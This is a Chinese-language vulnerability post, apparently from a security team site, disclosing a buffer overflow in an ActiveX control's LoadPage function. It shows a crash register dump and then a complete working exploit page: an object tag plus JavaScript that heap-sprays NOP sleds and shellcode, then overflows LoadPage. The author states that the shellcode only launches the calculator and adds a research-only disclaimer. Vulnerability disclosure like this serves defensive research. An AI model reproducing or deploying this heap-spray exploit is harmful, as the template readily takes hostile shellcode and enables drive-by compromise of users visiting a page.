文章作者:friddy
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
注:文章首发Friddy的罐子,后由原创作者友情提交到邪恶八进制信息安全团队讨论组,转载请著名首发站点。
本文章只含有漏洞存在的证明,效果是运行计算器的程序,不含有攻击性代码!
去年11月出的漏洞是在target.Register(ok,buffer)上,这次的缓冲区溢出出在target.LoadPage(buffer ,1 ,1 ,1)
漏洞位置:clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2的LoadPage函数发生缓冲区溢出
漏洞告警: ACCESS_VIOLATION
Disasm: 41414141 ????? ()
寄存器状态:
EIP 41414141 EAX BAADF000 EBX 00000000 ECX 00000000 EDX 00B36F48 -> 016E9D0C EDI 0013E084 -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ESI 0013E39C -> 00000000 EBP 00B36F48 -> 016E9D0C ESP 0013D85C -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ArgDump:
EBP+8 BAADF00D EBP+12 00000000 EBP+16 BAADF00D EBP+20 BAADF00D EBP+24 BAADF00D EBP+28 BAADF00D
Stack Dump:
13D85C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................] 13D86C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................] 13D87C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................] 13D88C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................] 13D89C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................]
漏洞利用程序:
<object classid="clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2" id='target'></object> <P>Made By Friddy QQ:568623 <P>http://www.friddy.cn <SCRIPT language="javascript"> var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersize+shellcode.length;//总长度 while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (x=0; x<300; x++) memory[x] = block + shellcode; var buffer = ''; while (buffer.length < 3092) buffer+="/x0a/x0a/x0a/x0a"; target.LoadPage(buffer ,1 ,1 ,1);//这次出问题的是LoadPage.不是Register了 </script>
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论